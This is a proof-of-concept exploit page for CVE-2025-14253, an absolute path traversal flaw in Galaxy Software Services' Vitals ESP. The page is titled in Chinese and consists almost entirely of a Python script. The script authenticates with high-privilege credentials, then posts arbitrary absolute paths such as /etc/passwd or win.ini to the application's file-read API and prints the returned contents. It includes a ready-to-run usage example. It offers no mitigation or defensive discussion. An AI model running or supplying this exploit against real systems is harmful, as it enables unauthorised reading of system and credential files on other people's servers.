CVE-2025-14253 Vitals ESP 任意文件读取漏洞

import requests import sys # CVE-2025-14253 PoC - Vitals ESP Arbitrary File Read # Target: Vitals ESP by Galaxy Software Services # Attack Type: Absolute Path Traversal def exploit_vitals_esp(target_url, file_path, credentials): """ Exploit for CVE-2025-14253: Vitals ESP Arbitrary File Read Args: target_url: Base URL of Vitals ESP application file_path: Absolute path of file to read (e.g., /etc/passwd or C:\\Windows\\win.ini) credentials: Tuple of (username, password) for high-privilege account Returns: File contents if successful, None otherwise """ login_url = f"{target_url}/api/login" file_read_url = f"{target_url}/api/file/read" # Step 1: Authenticate with high-privilege account session = requests.Session() login_data = { "username": credentials[0], "password": credentials[1] } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Exploit path traversal to read arbitrary file exploit_data = { "path": file_path, "mode": "absolute" # Key parameter for absolute path traversal } exploit_response = session.post(file_read_url, json=exploit_data, timeout=10) if exploit_response.status_code == 200: print(f"[+] Successfully read file: {file_path}") return exploit_response.json().get("content", "") else: print("[-] Exploitation failed") return None except requests.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <file_path> <username> <password>") print("Example: python exploit.py http://vitals-esp.local /etc/passwd admin password123") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] creds = (sys.argv[3], sys.argv[4]) result = exploit_vitals_esp(target, file_path, creds) if result: print("\n=== File Contents ===") print(result)